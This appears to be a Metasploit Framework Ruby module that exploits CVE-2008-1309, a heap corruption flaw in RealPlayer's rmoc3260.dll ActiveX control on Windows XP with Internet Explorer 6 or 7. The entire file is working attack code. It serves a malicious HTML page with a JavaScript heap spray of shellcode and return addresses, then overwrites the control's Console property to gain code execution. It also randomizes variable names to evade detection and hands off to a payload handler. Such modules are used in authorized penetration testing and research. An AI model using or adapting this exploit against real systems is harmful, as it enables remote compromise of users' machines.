| 1 |
|
|---|
| 2 |
## |
|---|
| 3 |
# This file is part of the Metasploit Framework and may be subject to |
|---|
| 4 |
# redistribution and commercial restrictions. Please see the Metasploit |
|---|
| 5 |
# Framework web site for more information on licensing and terms of use. |
|---|
| 6 |
# http://metasploit.com/projects/Framework/ |
|---|
| 7 |
## |
|---|
| 8 |
|
|---|
| 9 |
require 'msf/core' |
|---|
| 10 |
|
|---|
| 11 |
module Msf |
|---|
| 12 |
|
|---|
| 13 |
class Exploits::Windows::Browser::RealPlayer_Console < Msf::Exploit::Remote |
|---|
| 14 |
|
|---|
| 15 |
include Exploit::Remote::HttpServer::HTML |
|---|
| 16 |
|
|---|
| 17 |
def initialize(info = {}) |
|---|
| 18 |
super(update_info(info, |
|---|
| 19 |
'Name' => 'RealPlayer rmoc3260.dll ActiveX Control Heap Corruption', |
|---|
| 20 |
'Description' => %q{ |
|---|
| 21 |
This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control. |
|---|
| 22 |
By sending a specially crafted string to the 'Console' property |
|---|
| 23 |
in the rmoc3260.dll control, an attacker may be able to execute |
|---|
| 24 |
arbitrary code. |
|---|
| 25 |
}, |
|---|
| 26 |
'License' => MSF_LICENSE, |
|---|
| 27 |
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ], |
|---|
| 28 |
'Version' => '$Revision$', |
|---|
| 29 |
'References' => |
|---|
| 30 |
[ |
|---|
| 31 |
[ 'CVE', 'CVE-2008-1309' ], |
|---|
| 32 |
[ 'BID', '28157' ], |
|---|
| 33 |
[ 'URL', 'http://secunia.com/advisories/29315/' ], |
|---|
| 34 |
], |
|---|
| 35 |
'DefaultOptions' => |
|---|
| 36 |
{ |
|---|
| 37 |
'EXITFUNC' => 'process', |
|---|
| 38 |
}, |
|---|
| 39 |
'Payload' => |
|---|
| 40 |
{ |
|---|
| 41 |
'Space' => 1024, |
|---|
| 42 |
'BadChars' => "\x00\x09\x0a\x0d'\\", |
|---|
| 43 |
'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff", |
|---|
| 44 |
}, |
|---|
| 45 |
'Platform' => 'win', |
|---|
| 46 |
'Targets' => |
|---|
| 47 |
[ |
|---|
| 48 |
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Offset' => 32, 'Ret' => 0x0C0C0C0C } ] |
|---|
| 49 |
], |
|---|
| 50 |
'DisclosureDate' => 'March 8 2008', |
|---|
| 51 |
'DefaultTarget' => 0)) |
|---|
| 52 |
end |
|---|
| 53 |
|
|---|
| 54 |
def autofilter |
|---|
| 55 |
false |
|---|
| 56 |
end |
|---|
| 57 |
|
|---|
| 58 |
def check_dependencies |
|---|
| 59 |
use_zlib |
|---|
| 60 |
end |
|---|
| 61 |
|
|---|
| 62 |
def on_request_uri(cli, request) |
|---|
| 63 |
# Re-generate the payload |
|---|
| 64 |
return if ((p = regenerate_payload(cli)) == nil) |
|---|
| 65 |
|
|---|
| 66 |
# Encode the shellcode |
|---|
| 67 |
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) |
|---|
| 68 |
|
|---|
| 69 |
# Setup exploit buffers |
|---|
| 70 |
nops = Rex::Text.to_unescape([target.ret].pack('V')) |
|---|
| 71 |
ret = Rex::Text.uri_encode([target.ret].pack('L')) |
|---|
| 72 |
blocksize = 0x40000 |
|---|
| 73 |
fillto = 400 |
|---|
| 74 |
offset = target['Offset'] |
|---|
| 75 |
|
|---|
| 76 |
# Randomize the javascript variable names |
|---|
| 77 |
racontrol = rand_text_alpha(rand(100) + 1) |
|---|
| 78 |
j_shellcode = rand_text_alpha(rand(100) + 1) |
|---|
| 79 |
j_nops = rand_text_alpha(rand(100) + 1) |
|---|
| 80 |
j_headersize = rand_text_alpha(rand(100) + 1) |
|---|
| 81 |
j_slackspace = rand_text_alpha(rand(100) + 1) |
|---|
| 82 |
j_fillblock = rand_text_alpha(rand(100) + 1) |
|---|
| 83 |
j_block = rand_text_alpha(rand(100) + 1) |
|---|
| 84 |
j_memory = rand_text_alpha(rand(100) + 1) |
|---|
| 85 |
j_counter = rand_text_alpha(rand(30) + 2) |
|---|
| 86 |
j_ret = rand_text_alpha(rand(100) + 1) |
|---|
| 87 |
j_m = rand_text_alpha(rand(100) + 1) |
|---|
| 88 |
|
|---|
| 89 |
# Build out the message |
|---|
| 90 |
content = %Q| |
|---|
| 91 |
<html> |
|---|
| 92 |
<object classid='clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93' id='#{racontrol}'></object> |
|---|
| 93 |
<script language='javascript'> |
|---|
| 94 |
#{j_shellcode} = unescape('#{shellcode}'); |
|---|
| 95 |
#{j_nops} = unescape('#{nops}'); |
|---|
| 96 |
#{j_headersize} = 20; |
|---|
| 97 |
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length |
|---|
| 98 |
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops}; |
|---|
| 99 |
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace}); |
|---|
| 100 |
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace}); |
|---|
| 101 |
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; |
|---|
| 102 |
#{j_memory} = new Array(); |
|---|
| 103 |
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode}; |
|---|
| 104 |
#{j_ret} = unescape('#{ret}'); |
|---|
| 105 |
while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret}; |
|---|
| 106 |
|
|---|
| 107 |
#{j_m} = #{racontrol}.Console; |
|---|
| 108 |
#{racontrol}.Console = #{j_ret}; |
|---|
| 109 |
#{racontrol}.Console = #{j_m}; |
|---|
| 110 |
|
|---|
| 111 |
#{j_m} = #{racontrol}.Console; |
|---|
| 112 |
#{racontrol}.Console = #{j_ret}; |
|---|
| 113 |
#{racontrol}.Console = #{j_m}; |
|---|
| 114 |
</script> |
|---|
| 115 |
</html> |
|---|
| 116 |
| |
|---|
| 117 |
|
|---|
| 118 |
|
|---|
| 119 |
|
|---|
| 120 |
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") |
|---|
| 121 |
|
|---|
| 122 |
# Transmit the response to the client |
|---|
| 123 |
send_response_html(cli, content) |
|---|
| 124 |
|
|---|
| 125 |
# Handle the payload |
|---|
| 126 |
handler(cli) |
|---|
| 127 |
end |
|---|
| 128 |
|
|---|
| 129 |
end |
|---|
| 130 |
end |
|---|